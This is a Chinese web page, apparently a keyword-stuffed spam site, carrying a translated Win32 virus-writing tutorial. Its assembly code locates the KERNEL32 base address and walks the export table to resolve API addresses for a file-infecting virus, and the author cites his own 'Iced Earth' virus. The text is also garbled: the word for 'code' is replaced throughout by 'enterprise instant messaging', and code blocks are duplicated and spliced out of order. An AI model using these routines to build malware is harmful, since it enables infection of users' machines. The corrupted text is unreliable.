2008下简单得到企业即时通讯
Windows 2000企业即时通讯软件
Windows企业即时通讯
编程实现企业即时通讯软件
更有效的企业即时通讯工具
简单的企业即时通讯
破解企业即时通讯软件
企业即时通讯编程内幕
企业即时通讯编写教程
企业即时通讯工具安全漏洞分析
企业即时通讯工具设备接口
企业即时通讯技术探讨
企业即时通讯软件
企业即时通讯相关英文
企业即使通讯方案分析
使用企业即时通讯工具
一种隐藏颇深的企业即时通讯
在企业即时通讯用户级下编程
怎么写DOS企业即时通讯工具
 主页 > 在企业即时通讯用户级下编程

在企业即时通讯用户级下编程

相当简单。我们在EAX中得到一个值大约为BFF8XXXX(XXXX是一个不重要的值,这里这么写是因为不需要精确地知道它,再也不要拿那些无聊的东西来烦我了:))。因为Win32平台通常会对齐到一个页,我们可以搜索任何一个页的开头,而且因为KERNEL32头就在一个页的开头,我们能够很轻松地检查它。而且当我们找到我现在正在讨论的PE头的时候,我们就知道了KERNEL32的基址。嗯,作为限制,我们可以以50h页为限。呵呵,不要担心,下面是一些企业即时通讯:)
.386
.model flat,stdcall
option casemap:none

嗯,用户级给了我们所有人很多令人压抑和不方便的限制,这是正确的,这妨碍了我们所崇拜的自由,这种我们在编写DOS病毒时所感受到的自由。但是,伙计,这就是生活,这就是我们的悲哀,这就是Micro$oft。Btw,这是唯一的(当今)能够完全Win32兼容的病毒的方法,而且这个环境是未来,正如你必须知道的。首先,让我们看看怎么用一种非常简单的方法来获得KERNEL32的基址(为了Win32兼容性):

%获得KERNEL32基址的一个简单方法%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
正如你所知道的,当我们在执行一个应用程序的时候,企业即时通讯是从KERNEL32 "call"一部分企业即时通讯的(也就像KERNEL调用我们的企业即时通讯一样)。而且,如果你还记得的话,当一个call调用之后,返回的地址是在堆栈里(即,在由ESP所指定的内存地址里的)的。让我们看看关于这个的一个实际例子:

;---------------从这里开始剪切---------------------------------------------

.586p ; Bah... simply for phun.
.model flat ; Hehehe i love 32 bit stuph ;)

.data ; Some data (needed by TASM32/TLINK32)

db ?

.code

start:
mov eax,[esp] ; Now EAX would be BFF8XXXXh (if w9X)
; ie, somewhere inside the API
; CreateProcess :)
ret ; Return to it ;)
end start
.code
start:
mov eax,[esp] ;在我的机子里,此值是:7C816D4F 返回到 kernel32.7C816D4F
ret
end start
;============================================================================

;------------到这里为止剪切--------------------------------------------------

;--------从这里开始剪切------------------------------------------------

.586p
.model flat

extrn ExitProcess:PROC

.data

limit equ 5

db 0

;--------------------------------------
; 没有用而且没有意义的数据 :) ;
;--------------------------------------

.code

test:
call delta
delta:
pop ebp
sub ebp,offset delta

mov esi,[esp]
and esi,0FFFF0000h
call GetK32

push 00000000h
call ExitProcess
;============================================================================
;masm32版 winxp sp2 测试通过

;-------------------------------------
; 呃,我认为你至少是一个普通ASM程序员, 所以我假定你知道指令的第一块是为了获得
; 地址偏移变化量(特别在这个例子里面不需要,然而,我喜欢使得它就像我们的病毒企业即时通讯)。
; 第二块是我们所感兴趣的东西。我们把我们的程序开始调用的地址放在ESI中,即由ESP
; 所显示的地址(当然是如果我们在程序装载完后没有碰堆栈的情况下)。第二个指令,那个
; AND,是为了获得我们的企业即时通讯正在调用的页的开头。我们调用我们的例程,在这之后,我
; 们结束处理:)
;-------------------------------------

GetK32:

__1:
cmp byte ptr [ebp+K32_Limit],00h
jz WeFailed

cmp word ptr [esi],"ZM"
jz CheckPE

__2:
sub esi,10000h
dec byte ptr [ebp+K32_Limit] ;这里有重定位,[ebp+K32_Limit]
;应改成[ebp+offset K32_Limit]
;但是,这是企业即时通讯段,不可以写!!!
jmp __1


end test

;============================================================================
;masm32版 winxp sp2 测试通过
.386

.model flat,stdcall
option casemap:none

include kernel32.inc
includelib kernel32.lib


;--------到这里为止剪切-----------------------------------------------------

一个建议:我测试了它,而且在Win98下和WinNT4 SP3下面没有给我们任何类型的问题,然而,我不知道在其它任何地方会发生什么,我建议你使用SEH来避免可能的页错误(和它们相关的蓝屏)。SEH将会在后面介绍。嗨,Lord Julus在他的教程里面所使用的方法(在感染文件里面搜索GetModuleHandleA函数)并不能很好地满足我的需要,无论如何,我将给出那个我自己版本的企业即时通讯,在那里我将解释怎么来玩输入函数。例如,它在per-process驻留病毒里面要用到,在这个例程里面有一小点改变:)
%获取那些令人疯狂的API函数!!!%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
正如我在介绍那一章所介绍的,Ring-3是用户级的,所以我们只能访问它的有限的权限。例如,我们

不能使用端口,读或写某些的内存区域,等等。当开发Win95(那些再也没有人说的"Win32平台是不可感染

"的系统)的时候,微软如果压制住过去所编写的病毒,微软就确信能够击败我们。在他们的美梦中,他们

认为我们不能使用他们的API函数,而且,他们更没想到我们能跳转到Ring-0,但是,这是另外一段历史

了。
正如你以前所说的,我们以API函数名作为外部函数,所以import32.lib给了我们函数的地址,而且

它已经汇编了,但是我们在写病毒的时候有一个问题。如果我们hardcode(也就是说我们调用一个API函数

的时候给的是一个固定的偏移地址),最可能发生的事情是在下一个版本的Win32版本中,那个地址再也不

起作用了。你可以看看Bizatch中的一个例子。我们该怎么做呢?好了,我们有一个函数叫做

GetProcAddress,它返回给我们的是我们所需要的API的地址。聪明的你可能已经注意到了GetProcAddress

也是一个API,所以如果我们没有得到那个API还谈什么利用它来搜索其它API呢。正如在生活中我们所遇

到的事情一样,我们有许多可能性的东西去做,而且我将提及我认为最好的两种方法:

1.在输入表中搜索GetProcAddress API函数。 (注:这个最通用,无依懒)
2.当我们感染一个文件的时候,在它的输入函数里寻找GetProcAddress。(注:这依懒宿主里必须有这个

函数)

.code
start:
call delta
delta:
pop ebx
sub ebx,offset delta ;ebx为重定位而用

mov esi,[esp] ;得到Kernel32.dll领空的一个地址
and esi, 0ffff0000h ;以页为单位向低地址搜索
call GetK32

push 00000000h
call ExitProcess

GetK32:
__1:
cmp esi,07000000h ;当esi<07000000h时结束
jb WeFailed

cmp word ptr [esi],'ZM' ;由于是字,所以要倒过来写
jz CheckPE

__2:
sub esi,1000h ;减一个页,继续搜索(一个页=1000h字节)
jmp __1

;-------------------------------------
; 首先我们检查我们是否已经达到了我们的极限(50页)。在这之后,我们检查是否在页的开
; 头(它应该是)是否为MZ标志,而且如果找到了,我们继续检查PE头。如果没有,我们减
; 去10页(10000h字节),我们增加限制变量,再次搜索
;-------------------------------------

K32_Limit dw limit ;这里我不明白他是用来做什么的,而且是位于企业即时通讯段,又不可以写

;--------------------------------------
; 我们在MZ头开始后的偏移地址3CH处得到值(存着从哪儿开始PE头的RVA),我们把这个
; 值和页的地址规范化,而且如果从这个偏移地址处的内存地址标志是PE标志,我们就假
; 设已经找到了...而且我们确实是找到了!
;--------------------------------------

CheckPE:
mov edi,[esi+3ch] ;3ch是e_flanew的偏移
add edi,esi
cmp dword ptr [edi],"EP" ;是PE?
jz WeGotK32 ;是,则找到了Kerenl32.dll的基址
jmp __2
WeFailed:
mov esi,0BFF70000h
WeGotK32:
xchg eax,esi ;eax里就是Kernel32.dll的基址
ret

CheckPE:
mov edi,[esi+3Ch]
add edi,esi
cmp dword ptr [edi],"EP"
jz WeGotK32
jmp __2
WeFailed:
mov esi,0BFF70000h
WeGotK32:
xchg eax,esi
ret

GetAPIs endp
;===========================================================================
;MASM32版 winxp sp2 通过测试
;这段企业即时通讯在MASM32中直接通过,没必要改动。
;但是,你可以发现,这个子程序只能获得Kernel32.dll里的导出函数,
;要是想用user32.dll的怎么办呢?如果您仔细看的话,可以发现,我在GetAPI中增加
;了一个参数eax,它把*.dll的ImageBase(也就是*.dll的Handle)传进来了。这样子,只
;要改变了eax,GetAPI就会去不同的Dll里查找函数。虽然,这个GetAPIs子程序没有改
;动,但是,它也随之升级了,呵呵。
;===========================================================================
;---------------------------------------------------------------------------
; 可以更优化,我知道,但是,为了更好为我的解释服务。我们首先所做的是到达我们
; 以前请求的地址的字符串的尾部,现在它指向下一个API。但是我们想要知道它是否
; 是最后一个API,所以我们检查我们的标志,字节0BBh(猜猜为什么是0BBh?)。如果它
; 是,我们就已经得到了所有需要的API,而如果不是,我们继续我们的搜索。
;---------------------------------------------------------------------------
;------到这儿为止剪切-------------------------------------------------------
end start
;============================================================================

让我们看看它的格式:
--------------------------------------------------- <----+00000000h
| Export Flags | Size : 1 DWORD
|---------------------------------------------------|<----+00000004h
| Time/Date stamp | Size : 1 WORD
|---------------------------------------------------|<----+00000006h
| Major version | Size : 1 WORD
|---------------------------------------------------|<----+00000008h
| Minor version | Size : 1 DWORD
|---------------------------------------------------|<----+0000000Ch
| Name RVA | Size : 1 DWORD
|---------------------------------------------------|<----+00000010h
| Number Of Exported Functions | Size : 1 DWORD
|---------------------------------------------------|<----+00000014h
| Number Of Exported Names | Size : 1 DWORD
|---------------------------------------------------|<----+00000018h
| Export Address Table RVA | Size : 1 DWORD
|---------------------------------------------------|<----+0000001Ch
| Export Name Pointers Table RVA | Size : 1 DWORD
|---------------------------------------------------|<----+00000020h
| Export Ordinals RVA | Size : 1 DWORD
|__________________________________|
Total Size : 24h BYTES

对我们来说是最后6个域。在地址表RVA的值中,正如你能想象的是,Name Pointers RVA 和

Ordinals RVA都是和KERNEL32的基址相关的。所以,获得API地址的第一步是知道这个API的位置,而知道

它的最简单的方法是到Name Pointers所指示的偏移地址处去寻找,把它和我们想要找的API做比较,如果

它们完全相同,我们就要计算API的偏移地址了。好了,我们已经到了这一步了,而且我们在计数器中有

一个值,因为我们每检查一次API的名字就加一次。这个计数器,正如你能想象的,将会保存我们已经找

到的API名字的个数,而且它们不相等。这个计数器可以是一个字或一个双字,但是最好不要是一个字节

,因为我们需要超过255个API函数:)
说明:我假设你把虚拟地址VA(RVA+kernel image base),Name 和 (序数表)Ordinal tables已经保存

到相关的变量中了。
OK,假设我们已经获得了我们想要得到的API的名字,所以,我们得到了它在名字指针表中的计数。

接下来可能对你来说是最复杂的,开始Win32编码。嗯,让我们继续下去。我们得到了计数,而且我们现

在要在Ordinal Table(一个dword数组)中搜索我们想要得到的API的序数。当我们得到了API在数组(在计

数器)中的下标,我们仅仅把它乘以2(记住,序数数组是由字组成的,所以,我们必须对字进行计算...)

,而且,当然,把它加上序数表的开始偏移地址。为了继续我已经解释的东西,我们需要由下面公式指向

的字:
因为最早的方法是第一个,猜猜现在我将会解释哪一个呢?:)OK,让我们以理论学习开始,在这之后

,一些企业即时通讯。
如果你看看PE头的格式,我们在偏移地址78h(是PE头,不是文件!)得到输入表。好了,我们需要利用

内核的输出地址。在Window 95/98下,内核通常在偏移地址0BFF70000h处,而Window NT的内核看起来是

在077F00000h处。在Win2K中我们在偏移地址077E00000h处得到它。所以,首先,我们把它的地址保存到

寄存器中,我们将用来作为指针。我强烈建议使用ESI,主要是因为我们可以通过使用LODSD来优化一些东

西。好了,我们检查在这个地址处是不是"MZ"(恩反过来为"ZM",该死的intel处理器架构),因为内核是

一个库(.DLL),而库有一个PE头,正如我们以前看PE头的时候,是DOS-兼容的一部分的时候所看到的。在

那个比较之后,让我们检查它是不是PE,所以我们到头的偏移image_base+[3Ch] (=内核的偏移地址+内

核的PE头的3Ch偏移),搜索比较"PE\0\0",PE文件的签名。
如果所有都正确,那么让我们继续。我们需要输出表的RVA,正如你所能看到的,它在PE头的偏移地

址78h处。所以我们得到了它。但是,正如你所知道的,RVA(Relative Virtual Address),正如它的名字

所表明的,是和一个OFFSET的相对值,在这种image base为kernel的情况下,正如我以前所说的,那就是

它的地址。就这么简单:仅仅把kernel的偏移加上在输出表(Export Table)中的RVA即可。好了,我们现

在已经在输出表中了:)
API's Ordinal location: ( counter * 2 ) + Ordinal Table VA

很简单,是不是啊?下一步(而且是最后一步)是从地址表中获得API的确定地址。我们已经得到了API

的序号,对吗?利用它,我们的生活变得非常容易。我们只要把序号乘以4(因为地址数组是双字形式的而

不是字,而一个双字的大小是4),而且把它加上先前得到的地址表开始的偏移地址。呵呵,现在,我们得

到了API地址的RVA啦。所以我们要把它规范化,加上Kernel的偏移地址,那样就好了。我们得到了它!!!

让我们看看这个的数学公式:

API's Address: ( API's Ordinal * 4 ) + Address Table VA + KERNEL32 imagebase

----------------------------------------------------------------- So, as we retrieve the position
| EntryPoint | Ordinal | Name | | that occupies the string in the
|---------------|----------|------------------|-------------------| Names table, we can know its
| 00005090 | 0001 | AddAtomA | | ordinal (each name has an ordi-
|---------------|----------|------------------|-------------------| nal that is in the same position
| 00005100 | 0002 | AddAtomW | | than the API name), and knowing
|---------------|----------|------------------|-------------------| the ordinal, we can know its
| 00025540 | 0003 | AddConsoleAliasA | | Address, that is, its entrypoint
|---------------|----------|------------------|-------------------| RVA. We normalize it, and voila,
| 00025500 | 0004 | AddConsoleAliasW | | you have what you need, the
\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ required API address.

[...]这些表还有更多的入口,但是有那些就足够了...
我希望你已经理解了我解释的东西。我试图尽可能的使它表述简单,如果你不能理解它,不要往下

看了,一步一步地重读它。要有耐心。我肯定你会懂地。嗯,现在你可能需要一些企业即时通讯了。下面给出我例

程,作为一个示例,在我的Iced Earth病毒中用到了。

;----从这儿开始剪切-----------------------------------------------------------
;
; GetAPI & GetAPIs procedures
; ===========================
;
; 这是我的寻找所有需要的API的函数... 它们被分成了两部分。
; GetAPI函数仅仅获得了我们需要的一个函数, 而GetAPIs函数
; 则搜索病毒所需要的所有API函数。
;

GetAPI proc

;--------------------------------------------------------------------------
; 让我们来看看,这个函数需要和返回的参数如下:
;
;
; 输入: ESI : 指向API名字的指针 (区分大小写)
; 输出: EAX : API 地址
;--------------------------------------------------------------------------

mov edx,esi ; Save ptr to name
@_1: cmp byte ptr [esi],0 ; Null-terminated char?
jz @_2 ; Yeah, we got it.
inc esi ; Nopes, continue searching
jmp @_1 ; bloooopz...
@_2: inc esi ; heh, don't forget this ;)
sub esi,edx ; ESI = API Name size
mov ecx,esi ; ECX = ESI :)

xor eax,eax ; EAX = 0
mov word ptr [ebp+Counter],ax ; Counter set to 0

mov esi,[ebp+kernel] ; Get kernel's PE head. offset
add esi,3Ch
lodsw ; in AX
add eax,[ebp+kernel] ; Normalize it

mov esi,[eax+78h] ; Get Export Table RVA
add esi,[ebp+kernel] ; Ptr to Address Table RVA
add esi,1Ch

;---------------------------------------------------------------------------
; 首先,我们清除EAX,然后为了避免无法预料的错误,使得计数变量为0。
; 如果你还记得PE文件头偏移地址3CH(从映象基址MZ标志开始计数)的作用,
; 你会理解这个的。我们正在请求得到KERNEL32 PE头偏移的开始。因为
; 它是一个RVA,我们把它规范化,那就是我们得到了它的PE头偏移地址。
; 现在我们所要做的是获得输出表(Export Table)的地址(在PE头+78h处),
; 然后,我们避开这个结构的不想要的数据,直接获得地址表(Address Table)
; 的RVA。
;---------------------------------------------------------------------------

lodsd ; EAX = Address Table RVA
add eax,[ebp+kernel] ; Normalize
mov dword ptr [ebp+AddressTableVA],eax ; Store it in VA form

lodsd ; EAX = Name Ptrz Table RVA
add eax,[ebp+kernel] ; Normalize
push eax ; mov [ebp+NameTableVA],eax

lodsd ; EAX = Ordinal Table RVA
add eax,[ebp+kernel] ; Normalize
mov dword ptr [ebp+OrdinalTableVA],eax ; Store in VA form

pop esi ; ESI = Name Ptrz Table VA

;---------------------------------------------------------------------------
; 如果你还记得,在ESI中是指向地址表RVA(Address Table RVA)的指针,所以,
; 我们为了得到那个地址,用了一个LODSD,它把由ESI所指定的双字(DWORD)保
; 存到EAX中。因为它是一个RVA,我们需要对它规范化。
;
; 让我们看看Matt Pietrek关于这个第一个域的描述:
;
; “这个域是一个RVA而且指向一个函数地址数组。这个函数地址是这个模块中
; 每一个输出地址的入口点(RVA)。”
;
;
; 毫无疑问了,我们把它保存到它的变量中了。然后,接下来我们找到的
; 是名字指针表(Name Pointers Table),Matt Pietrek的描述如下:
;
; “这个域是一个RVA,而且指向一个字符串指针数组。这些字符串是模块
; 的输出函数的名字。”
;
; 但是我没有把它保存到一个变量中,我把它压栈,仅仅是因为我很快就要用到
; 它。最终,我们找到了,下面是Matt Pietrek关于它的描述:
;
; “这个域是一个RVA,而且指向一个字(WORD)数组。这些字是这个模块
; 的所有输出函数的序号”。
;
; 好了,那就是我们所做的事情。
;---------------------------------------------------------------------------
;--------------------------------------------------------------------------
; 好了,我亲爱的朋友们,这很容易理解。我们在ESI中是指向API名字开始
; 的指针,让我们想象一下,我们想要寻找"FindFirstFileA":
;
; FFFA db "FindFirstFileA",0
; ↑ 指针指向这儿
;
; 而且我们需要保存这个指针,并知道了API名的大小,所以
; 我们把指向API名字的初始指针保存到一个我们不用的寄存器中如EDX
; 然后增加在ESI中的指针的值,直到[ESI]=0
;
; FFFA db "FindFirstFileA",0
; ↑ 现在指针指向这儿了
;
; 也就是说,以NULL结尾:)然后,通过把新指针减去旧指针,我们得
; 到了API名字的大小,搜索引擎需要它。然后我把它保存到ECX中,
; 也是一个我们不会使用的寄存器。
;---------------------------------------------------------------------------

@_3: push esi ; Save ESI for l8r restore
lodsd ; Get value ptr ESI in EAX
add eax,[ebp+kernel] ; Normalize
mov esi,eax ; ESI = VA of API name
mov edi,edx ; EDI = ptr to wanted API
push ecx ; ECX = API size
cld ; Clear direction flag
rep cmpsb ; Compare both API names
pop ecx ; Restore ECX
jz @_4 ; Jump if APIs are 100% equal
pop esi ; Restore ESI
add esi,4 ; And get next value of array
inc word ptr [ebp+Counter] ; Increase counter
jmp @_3 ; Loop again

;---------------------------------------------------------------------------
; 嗨,是不是我放了太多的企业即时通讯而没有注释?因为我刚做好,但是懂得了这一块企业即时通讯
; 不能因为解释它而分离开来。我们首先所做的是把ESI(在CMPSB指令执行中将改变)
; 压栈,以备后用。然后,我们获得由ESI(Name Pointerz Table)指向的双字保存到
; 累加器(EAX)中,所有这些通过LODSD指令实现。我们通过加上kernel的基址来规范
; 化它。好了,现在我们在EAX中是指向某一个API名字的指针,但是我们不知道(仍然)
; 是什么API。例如,EAX可以指向诸如"CreateProcessA",而这个API对我们的病毒来
; 说不感兴趣...为了把那个字符串和我们想要的字符串(现在由EDX指向),我们有CMPSB。
; 所以,我们准备它的参数:在ESI中,我们使得指针指向现在在Name Pointerz Table中
; 的API的开始,在EDI中,我们使之指向需要的API)。在ECX中我们保存它的大小,
; 然后我们按字节比较。如果所有的字符相等,就设置0标志,然后跳转到获取那个API
; 地址的例程,但是如果它失败了,我们恢复ESI,并把它加上DWORD的大小,为了获取
; 在Name Pointerz Table数组中的下一个值。我们增加计数器的值(非常重要),然后
; 继续搜索。
;---------------------------------------------------------------------------

@_4: pop esi ; Avoid shit in stack
movzx eax,word ptr [ebp+Counter] ; Get in AX the counter
shl eax,1 ; EAX = AX * 2
add eax,dword ptr [ebp+OrdinalTableVA] ; Normalize
xor esi,esi ; Clear ESI
xchg eax,esi ; EAX = 0, ESI = ptr to Ord
lodsw ; Get Ordinal in AX
shl eax,2 ; EAX = AX * 4
add eax,dword ptr [ebp+AddressTableVA] ; Normalize
mov esi,eax ; ESI = ptr to Address RVA
lodsd ; EAX = Address RVA
add eax,[ebp+kernel] ; Normalize and all is done.
ret

 

GetAPI endp
;===========================================================================
;MASM32版 winxp sp2 测试通过
GetAPI proc
;注意:这里要用到几个局部变量,分别对应它的全局变量
; 而且还要把kernel32.dll的基址传进来。
; 输入: ESI : 指向API名字的指针 (区分大小写)
; EAX : kernel32.dll的基址
; 输出: EAX : API 地址
local Counter
local AddressTableVA
local OrdinalTableVA
local kernel

mov Counter,0
mov AddressTableVA,0
mov OrdinalTableVA,0
mov kernel,eax

mov edx,esi ;保存指向字符串的指针esi
@_1:
cmp byte ptr [esi],0
jz @_2
inc esi
jmp @_1
@_2:

sub esi, edx ;esi=字符串长度
mov ecx,esi

xor eax,eax
mov word ptr [Counter],ax

mov esi,[kernel] ;获得kernel32.dll中PE文件头的偏移
add esi,3ch ;
lodsw ;读取
add eax,[kernel] ;定位到PE文件头

mov esi,[eax+78h] ;读取输出表RVA
add esi,[kernel] ;定位到输出表
add esi,1ch ;定位到地址表(Address Table)

lodsd ;eax=地址表的RVA
add eax,[kernel] ;定位到地址表
mov dword ptr [AddressTableVA],eax ;以虚拟地址的形式保存起来

lodsd ;eax=指向函数名地址表的RVA
add eax,[kernel] ;定位
push eax ;进栈保存

lodsd ;eax=AddressOfNameOrdinals(RVA)
add eax,[kernel] ;定位
mov dword ptr [OrdinalTableVA],eax ;保存在变量OrdinalTable

pop esi ;NameTable

@_3:
push esi ;保存
lodsd
add eax,[kernel] ;定位
mov esi,eax ;esi指向eax所在地址的字符串
mov edi,edx ;edi指向传进来的字符串(还记得入口那句企业即时通讯么?)
push ecx ;传进来的字符串的长度
cld ;++++
repz cmpsb ;逐个字符地比较,如果相等,ecx将等于0
pop ecx
jz @_4
pop esi ;恢复esi
add esi,4 ;读取NameTable中下一个RVA
inc word ptr [Counter]
jmp @_3 ;循环

;---------------------------------------------------------------------------
; Pfff, 又一个巨大的企业即时通讯块,而且看起来很难理解,对吗?呵呵,不要害怕,我将要
; 注释它:)
; 呃,pop指令是为了清除堆栈,我们把计数值(因为它是一个WORD)放置到EAX的低位
; 中,并把这个寄存器的高位清0。我们把它乘以2,因为我们只得到了它的数字,
; 而且我们要搜索的数组是一个WORD数组。现在把它加上指向我们要搜索的数组开始的
; 指针,而在EAX中是我们想要的API的指针的序号。所以我们把EAX保存到ESI中为了使
; 用那个指针来获取它指向的值,也就是说,序号保存到EAX中,用简单的LODSW。
; 嗨,我们得到了序号,但是我们想要的是API企业即时通讯的入口(EntryPoint),所以,我们
; 把序数(保存了想要的API在地址表中的入口点位置)乘上4,也就是说DWORD的大小,
; 然后我们得到了一个RVA值,和Address Table RVA 相关,所以我们规范化,那么现在
; 我们在EAX中得到的是指向地址表中的API的入口点的指针。我们把EAX赋给ESI,在EAX
; 中得到了指向的值。这样我们在EAX中得到了需要的API的入口RVA的值。嗨,现在我们
; 必须要做的是把那个地址和KERNEL32的基址规范化,瞧,做好了,我们在EAX中
; 得到了API的真正地址!!!;)
;---------------------------------------------------------------------------
@_4:
pop esi ;恢复esi
movzx eax,word ptr[Counter]
shl eax,1 ;eax*2
add eax,dword ptr [OrdinalTableVA] ;定位OrdinalTable
xor esi,esi
xchg eax,esi ;esi=eax ,eax=0
lodsw ;eax=AddressTableVA的索引
shl eax,2 ;eax*4得到偏移
add eax,dword ptr [AddressTableVA]
mov esi,eax
lodsd ;eax=函数地址RVA
add eax,[kernel] ;RVA+基址=虚拟地址
;此时eax=所找函数的虚拟地址
ret
GetAPI endp
;===========================================================================

;---------------------------------------------------------------------------
;---------------------------------------------------------------------------

GetAPIs proc

;---------------------------------------------------------------------------
; Ok, 这是通过使用以前的函数来获得所有API的企业即时通讯,它的参数为:
;
; 输入: ESI : 指向想要得到的第一个API名字ASCII码的首地址
; EDI : 指向将要保存的想要得到第一个API的变量
; 输出: 无。
;
; 好了,我假设你想要获得的所有值的结构如下:
;
; ESI 指向 → db "FindFirstFileA",0
; db "FindNextFileA",0
; db "CloseHandle",0
; [...]
; db 0BBh ; 标志着这个数组的结束
;
; EDI 指向 → dd 00000000h ; FFFA 的将来的地址
; dd 00000000h ; FNFA 的将来的地址
; dd 00000000h ; CH 的将来的地址
; [...]
; 我希望你足够聪明,能理解它。
;---------------------------------------------------------------------------

@@1: push esi
push edi
call GetAPI
pop edi
pop esi
stosd

;---------------------------------------------------------------------------
; 我们把在这个函数中处理的值压栈为了避免它们改变,并调用GetAPI函数。
; 我们假设现在ESI是一个指向想要的API名字的指针,EDI是指向要处理API名字的变量
; 的指针。因为函数在EAX中返回给我们API的偏移地址,我们通过使用STOSD把它保存到
; 由EDI指向的相关变量中。
;---------------------------------------------------------------------------

@@2: cmp byte ptr [esi],0
jz @@3
inc esi
jmp @@2
@@3: cmp byte ptr [esi+1],0BBh
jz @@4
inc esi
jmp @@1
@@4: ret

呵呵,我尽可能的使得这些过程简单,而且我注释了很多,你将会不通过复制就可以理解了。而且如

果你
你复制也不是我的问题...呵呵,我没有不允许你复制它:)但是,现在的问题是我们该搜索什么API呢?这

主要依赖于在进行PE操作之前方式。我将给你演示一个直接行为(即运行期)版本的一个病毒,它使用了文

件映射计数(更容易操作和更快地感染),我将会列出你能使用地API函数。

行业方案 产品概览 服务支持 客户 合作伙伴 新闻和活动 关于我们
主页 联系我们 网站地图 服务条款 隐私声明